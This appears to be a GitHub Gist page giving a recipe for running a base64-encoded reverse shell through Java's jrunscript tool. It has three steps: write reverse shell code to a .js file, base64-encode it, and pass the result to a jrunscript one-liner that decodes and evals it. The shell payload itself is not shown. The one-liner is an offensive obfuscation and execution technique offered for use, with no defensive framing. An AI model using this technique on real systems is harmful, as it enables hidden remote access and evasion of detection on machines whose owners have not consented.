Skip to content

Instantly share code, notes, and snippets.

What would you like to do?
JRunscript Base64 Encoded One-Liner Reverse Shell
1. Create file with reverse shell code and name it <file name>.js
2. Get base64 representation of file
cat <file name> | base64
3. Insert base64 text into one-liner shown below and run
jrunscript -e "eval(new java.lang.String(javax.xml.bind.DatatypeConverter.parseBase64Binary('base64EncodedText')));"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.